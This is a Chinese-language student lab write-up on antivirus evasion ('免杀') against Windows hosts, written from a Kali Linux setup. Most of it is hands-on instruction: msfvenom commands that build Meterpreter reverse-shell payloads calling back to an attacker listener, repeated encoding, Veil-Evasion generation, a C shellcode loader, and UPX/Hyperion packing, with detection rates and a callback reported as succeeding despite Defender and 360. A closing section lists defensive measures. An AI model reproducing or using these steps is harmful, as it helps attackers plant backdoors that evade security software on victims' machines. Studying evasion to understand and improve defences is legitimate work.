MAL_免杀原理与实践
最后更新:wildlinux 202003
测试平台:Kali, Virustotal,VirScan
学习目标:通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。
--
免杀
-
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
-
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
-
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
1 恶意软件检测机制
- 1.1 基于特征码的检测
- 1.1.1 特征库举例-Snort
- 1.2 启发式恶意软件检测
- 1.3 基于行为的恶意软件检测
--
1.1 基于特征码的检测
-
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
-
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
--
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的?
1.1基于特征码检测
如果一个可执行文件包含这样的特征码(一段或者多段数据)则被认为是恶意代码,杀软会搜集最全最新的特征码库用于检索拦截杀灭
1.2启发式恶意软件检测
根据某些片面特征去推断
1.3基于行为的恶意软件检测
相当于加入行为监控的启发式
(2)免杀是做什么?
免杀是对恶意软件进行处理,让它不被杀毒软件所检测,渗透测试中所需要的技术。
(3)免杀的基本方法有哪些?
免杀基本方法:
1.改变特征码(使用编码器,加壳(压缩壳,加密壳等),使用c语言调用shellcode等,用其他语言进行再编译)
2.改变行为(通讯方式或者是操作模式等)
(4)开启杀软能绝对防止电脑中恶意代码吗?
不能,有些特征码不存在于特征码库中,特征码具有滞后性的同时别的识别方法又缺乏精确性,所以杀软并不能绝对防止。
1.1.1 特征库举例-Snort
- 特征库、特征码长什么样子呢?
- 对于商业AV软件来说,这些就是它的竞争点所在,所以是不公开的。
- 好在,我们有开源的入侵检测平台Snort,它有类似的机制,检测数据包的特征码,检测已知的网络攻击。
--
Snort规则,我们就以这个为例简单理解一下特征码。
示例规则-wuftpd格式化字符串攻击检测规则。content后的就是特征码。
alert tcp $EXTERNAL_NET any -> $HOME_NET 21
(msg:”FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow Linux”;
flow:to_server, established; content:”|31c031db31c9b046cd8031c031db|”;
reference:bugtraq,1387;reference:cve, CAN-2000-0573;
classtype:attempted-admin;
sid:344;rev:4;)
- 重要的就是,恶意软件的检测,并不是比对整个文件,
- 而只能只其中一个或几个片断作为识别依据。
- 这就是最简单的特征码,或“signature”。
- 有兴趣的同学可以,搜索”特征码提取”的相关文章深入研究。
--
1.2 启发式恶意软件检测
启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
--
优点:
- 可以检测0-day恶意软件
- 具有一定通用性
缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
--
1.3 基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,
所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2 免杀技术(Evading AV)综述
--
就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。
--
所以总体技术有:
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
--
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
--
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
--
- 留后门的思路是这样的:
- 你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
- 通过meterpreter这种驻留内存的payload,AV软件很难检出。
- 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。
- 当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。
- 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错
- 你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
--
好多盗版、破解、加脱壳软件都会要求你关闭AV。或者的确只能在关闭AV的情况下才能应用。如果有个软件提示你需要关闭AV,你会...一定不吗?
3 免杀效果实测
--
- 本部分内容均基于Kali Linux,以meterpreter为样本恶意软件来实践。
序号 | 免杀方式 | AV | 测试主机OS/AV | VirusTotal | VirScan |
---|---|---|---|---|---|
1 | msfvenom直接生成 | 关闭 | Win7_64+MSSE | 46/57 | 16/39 |
2 | msfvenom 编码一次 | 关闭 | Win7_64+MSSE | 45/57 | 15/39 |
3 | msfvenom 多次编码 | 关闭 | Win7_64+MSSE | 45/57 | 16/39 |
4 | Veil-evasion | 开启 | Win7_64+MSSE | 19/58 | 5/39 |
5 | C+shellcode | 开启 | Win10+腾讯管家/Bitdefender | 1/39 | |
6 | UPX压缩壳 | 40/57 | 17/39 | ||
7 | Hyperion | 18/57 | 8/39 |
--
3.1 恶意代码生成工具
恶意代码功能也是重复类似的,程序员最不屑于做的就是同样的代码写多次。所以就产生了恶意代码的生成工具,可以用原始的功能代码按需组合生成不同的可执行文件,现加上不同的免杀手段。常见的如msfvenom,veil-evasion,backdoor-factory等。
对于这种情况,AV厂商当然是要尽量找到如msfvenom生成软件的特征,而不是搜集所有生成结果的特征了。其结果就是只要msfvenom生成的exe就会检测到,不管你是用了什么编码器,迭代编码的多少次。
在免杀过程中,我们就会使用这样的工具来生成恶意代码,并测试其免杀效果。
--
3.2 免杀效果的评价
3.2.1 VirusTotal、Virscan
集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,你还可以使用一段时间。
Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。太慢,还没试用。
--
3.2.2 免杀效果参考基准
msfvenom直接生成meterpreter可执行文件,检出率为46/57。57个扫描引擎中有46中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 PORT=443 -f exe > met.exe
File name: met.exe
Detection ratio: 46/57
还有一种测试方向。就是取一个非恶意代码为样本,进行各种编码或加壳,然后提交检测。其目的是为了验证,检测软件是否是在检测“编码器”呀“加壳工具”自身。
将上周生成的小程序放入其中进行检测,扫描结果如下,轻易能被识别出来
--
3.3 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。
编码后呢,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe
使用一种编码方式shikata_ga_nai试试,多编码几次的时候
结果如下,编码一次的时候,共计58个平台51个平台都能检测到实用性不高
编码十次的时候,58个平台53个能检测到,甚至更多了!!没有什么用处
尝试生成一个jar包
尝试生成无法生成,此处失败需要更换jar为x可成功
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.204.129 LPORT=2213 -f jar > 2213_java.jar
更换指令后jar生成成功
在平台上进行检测,可以看到这次相较之前的检测效果好了很多,只有三十几个平台可以检测出来
File name: met-encoded.exe
Detection ratio: 45/57
--
多编码几次呢,依然没变化
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded10.exe
略有起伏,没实质变化。
File name: met-encoded10.exe
Detection ratio: 45/57
--
原因呢?AV厂商也不傻,人家研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
还有模板。模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。曾经有一段时间,只要换了模板,就可以对所有AV免杀。现在这招不行了。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
如果写成一个库,再用java调用呢?思路有很多。
大家可以继研究下其他编码器或不同编码器组合的效果
--
3.4 Veil-Evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。
结果呢,生成了一个,上传测试,virustoal检出为19/57。
Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。源代码大家全都可以看得到,可以作为进一步学习的参考。
--
1.打开我的veil
2.用use evasion命令进入Evil-Evasion
3.输入命令use c/meterpreter/rev_tcp.py进入配置界面,设置反弹连接的kailip以及端口
生成我的c文件
检查文件的风险程度,在70个平台中仅有38个平台发现该软件,效果较好
========================================================================
Veil-Evasion | [Version]: 2.28.1
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
[*] Executable written to:这是EXE /var/lib/veil-evasion/output/compiled/payload7.exe
Language: c
Payload: c/meterpreter/rev_tcp
Required Options: COMPILE_TO_EXE=y LHOST=192.168.20.136 LPORT=4444
Payload File:这是源代码 /var/lib/veil-evasion/output/source/payload7.c
Handler File: /var/lib/veil-evasion/output/handlers/payload7_handler.rc
生成这些源代码的python源文件也可以看到:
root@Kali:/usr/share/veil-evasion/modules/payloads/c/meterpreter/rev_tcp.py
--
virscan呢,5/39,我们看看它生成的报告:
VirSCAN.org Scanned Report :
Scanned time : 2016-11-04 16:20:04
Scanner results: 12%的杀软(5/39)报告发现病毒
--
3.5 C语言调用Shellcode
这就是一个半手工打造恶意软件的例子。
下面指令会生成一个c语言格式的Shellcode数组。
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443 -f c
生成c语言格式的shellcode数组
把这个数组拿来编写一个程序。如下
使用i686-w64-mingw32-g++ 20182213.c -o 20182213.exe进行编译生成可执行文件
将文件复制到win10并尝试回连到msfconsole,开始报错缺少libgcc_s_dw2-1.dll,后下载后可以运行,可以看到回连成功
在平台检测它的风险性,结果还是较为乐观的
我们将其通过组合应用各种技术实现恶意代码免杀后,在windows防火墙开启时文件并没有被杀掉,实现与杀软共存
3.5.1 Linux平台交叉编译Windows应用
- 生成的met.exe复制到Win7_64实测可以回连到msfconsole
- 结合使用不同编码器效果更好
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=x.x.x.x -f c
生成后WindowsDefender+腾讯管家不查杀。
--
3.5.2 VisualStudio编译Windows应用
本部分测试使用的Win10平台安装了Visual Studio2017,进行的后门的生成。
https://www.visualstudio.com/downloads/ 可免费下载安装VisualStudio2017 Community版
// callshellcode.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//192.168.6.129 443 reverse_tcp
const char met[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"此处省去若干行"
"x53xffxd5";
int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met;
__asm;
{
call addr;
}
return 0;
}
--
操作流程如图:
-
virsan.org上7/39个AV能检出了
-
进一步优化
- 比方说自己把数组加个密放在最开始,在代码中再解密啥的,
- 使用java或其他语言格式等编译为exe
--
思考:
其实这个实验还可以做下去(1)判断杀毒软件是根据调用数组这样的非常规操作,还是根据数组内容来识别出恶意代码的的。如果是调用数组这个操作有问题,我们就需要一个exe,所其中的代码段替换为shellcode;如果是数据内容实识别,那更简单些,我们自己对它加个密,动态解密。
这个方法其实很强大,你本质上可以把任意收集到的Shellcode通过这种方式来调用。而网上可以搜集到大量的功能强大的Shellcode。
--
3.6 加壳
-
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
-
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
-
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
-
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
-
MSF的编码器使用类似方法,对shellcode进行再编码。
--
从技术上分壳分为:
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
--
3.6.1 压缩壳UPX
# upx met_raw.exe -o met_raw.upxed.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
101678 -> 56110 55.18% win32/pe met.upxed.exe
Packed 1 file.
#
将我之前生成的20182213.exe加上压缩壳,加壳成功
我们进行检测,加壳后变为30/70,效果变好了6个平台,相较于39/70未加壳之前
--
3.6.2 加密壳Hyperion
还有一种,其实也算加壳,最早在2012年Hyperion 文献中就有描述,也有软件实现。
在Kali里有hyperion的实现
root@:/usr/share/veil-evasion/pyherion.py 不过是Veil-evasion调用针对python进行处理的,但veil不经过这个处理,也能保过。
root@:/usr/share/veil-evasion/tools/hyperion 这个目录是Windows下的可执行文件,可以复制到win,可以用。有源代码。或者在Linux下,用Wine来执行windows应用。
root@:/usr/share/veil-evasion/tools/hyperion/#wine hyperion.exe -v met_raw.exe met_raw_hyed.exe
--
毕竟是知名的加密软件。别人测试的结果:
File name: met_raw.hyed.exe
Detection ratio: 18/58
将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
进入 /usr/share/windows-binaries/hyperion/
输入命令wine hyperion.exe -v ljx_upxed.exe ljx_upxed_Hyperion.exe进行加壳:
virscan给出了8/39的检测结果。
这种方法还是会被一些AV检测出,原因就在于加密过的代码段的熵太高。这可以用一种非常简单的方法处理,在每个字节后跟一个空字节,解密程序只要忽略空字节就可以了。有人测试过这种方法可以达到免检(2016)。不过没有工具可用,自己实现起来有难度,而且空间要求高。
3.6.3 扩展阅读
加壳软件有很多商业版,主要目标是为了版权保护,防止逆向分析。更多内容见wiki相关词条。
https://en.wikipedia.org/wiki/Executable_compression
--
3.6.4 同学案例
backdoorfactory
ruby+本地编译
Python加载shellcode免杀
shellter
shellcode_launcher
ScrunHex
--
3.7 行为分析
VirScan有行为分析引擎,会给出一个安全评分。越高越安全。
上传完目标文件后,等待一会儿,(1)重新上传,会提示你该文件已经分析过了,可直接查看报告;(2)或点击左侧的“查看报告”,从列表中找出你上传文件的报告页面。如下图,再点击“文件行为分析”。
![](images/VirSCAN_ Behavior_Analysis.png)
--
下图分别是经过加密壳处理和压缩壳处理的两个文件的行为分析结果。
![](images/VirSCAN_ Behavior_Analysis2.png)
--
在真正的实践中,以下技术也有可能被应用到。本文将不涉及其细节。
- 改变行为
- 通讯方式
- 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
- 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
- 加密通讯数据:如使用reverse-https进行转发
- 操作模式
- 基于内存操作:meterpreter是基于内存操作的操作的
- 减少对系统的修改
- 通讯方式
--
3.8用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
可以看到回连成功
另一电脑为Windows defender+360
3.9 实验感想
实验过程相当艰巨,难的不是如何做好一个简单后门而是复杂在开始veil等一系列软件的安装,在安装过程中我遇见了内存不足等一系列问题,最后得益于疯狂的删除软件得以安装成功,另一个复杂的地方在于开始简单的后门,无论如何操作都会被杀软删除,后来使用veil写的较好的克服了这一点,病毒库的更新速度很快,我发现寻找如何骗过防火墙也是一个非常有趣的过程,未来将继续这方面的学习,更好的将其运用于学习生活中,保护好自己的电脑。
-
简单说,做一个AV杀不出来的后门真不难。
-
veil-evasion和半手工编程当前免杀效果最好。基本可以绕过主流AV软件。
-
已有的编码、加壳、加密软件,需要把解压、解密代码加入到可执行文件中,这些代码片断会被检测出。
加壳、加密的思路+半手工的payload可能是一种可行的方式,但需要更多测试。 -
最牛的当然是自己开发,开发这样通用的工具可能工作量还是非常大的,好在有前人的工作可以参考像[kkrunchy]
- (https://github.com/farbrausch/fr_public/tree/master/kkrunchy)
- 还有HackingTeam泄露出来的core-packer。
--
序号 | 免杀方式 | 杀软 | 测试主机OS/AV | VirusTotal | VirScan |
---|---|---|---|---|---|
1 | msfvenom直接生成 | 关 | Win7_64+MSSE | 46/57 | 16/39 |
2 | msfvenom 编码一次 | 关 | Win7_64+MSSE | 45/57 | 15/39 |
2 | msfvenom 多次编码 | 关 | Win7_64+MSSE | 45/57 | 16/39 |
2 | Veil-evasion | 开 | Win7_64+MSSE | 19/58 | 5/39 |
2 | C+shellcode | 开 | Win10+腾讯管家/Bitdefender | 1/39 | |
2 | UPX压缩壳 | 40/57 | 17/39 | ||
2 | Hyperion | 18/57 | 8/39 | ||
... | ... |
4 恶意软件防范措施
--
讲这么多恶意软件免杀原理,是为了让大家认识到其危险性。亲自动手实践了才能体会它潜在的在危害。接下来大家一定想知道,如何才能防止被恶意软件侵害,判断自己的系统是不是被安装了恶意软件。
从大家的实践报告来看,大家最依赖的还是杀软和防火墙。
--
杀软
- 我想大家对于其能力应该有清醒的认识了。随便一个同学就可以制作出杀软杀不出的后门。
--
防火墙呢
- 恶意软件可以通过DLL注入(进程迁移)技术以任何正常系统进行名义运行。防火墙提示时,你会禁止系统进行联网吗?有兴趣的同学可以学习学长的实践DLL注入
- 还记得在“bof有逆向基础”实践中我们修改机器指令的环节吗。本质上你可以编辑任何可执行文件把其中一段代码修改为后门。恶意代码可以IE中,也可以在WORD中。你会禁止你熟悉的程序联网吗?你有使用MD5校验系统程序是否被修改过的习惯吗?
--
4.1 思想上
- 清楚自己操作的风险度
- 清楚自己操作目标的可信度
--
4.2 行为上
- 在可信网站下载应用。大部分非官方下载站点都存在绑捆、夹带等准恶意行为。包括中国IT几巨头。
- 理解官网上MD5值的用途,并使用其校验下载内容。
- 使用正版、官方、开源软件。
--
4.3 具体技术手段
- 安装可信的防病毒软件并即时更新
- 理解并管理好防火墙进出站规则
- 会用工具监控进程操作:如文件操作、注册表操作、网络连接与通讯内容
- 会使用沙箱技术分析可疑软件
- 会使用沙箱隔离可能受到攻击的应用
参考文献:
--
http://www.freebuf.com/sectool/102595.html
https://00rules.wordpress.com/2016/06/24/antivirus-software-how-it-works-and-how-to-evade-it/
--
安装veil-evasion(参考安装教程)
使用代理安装的,有些包会下载安装失败,可以提前安装这些包,指令如下:(可以不做这一步)
# apt-get install libncurses5*
# apt-get install libavutil55*
# apt-get install gcc-mingw-w64*
# apt-get install wine32
再使用如下指令进行后续安装
# git clone https://github.com/Veil-Framework/Veil
# cd Veil/setup/
# ./setup.sh
,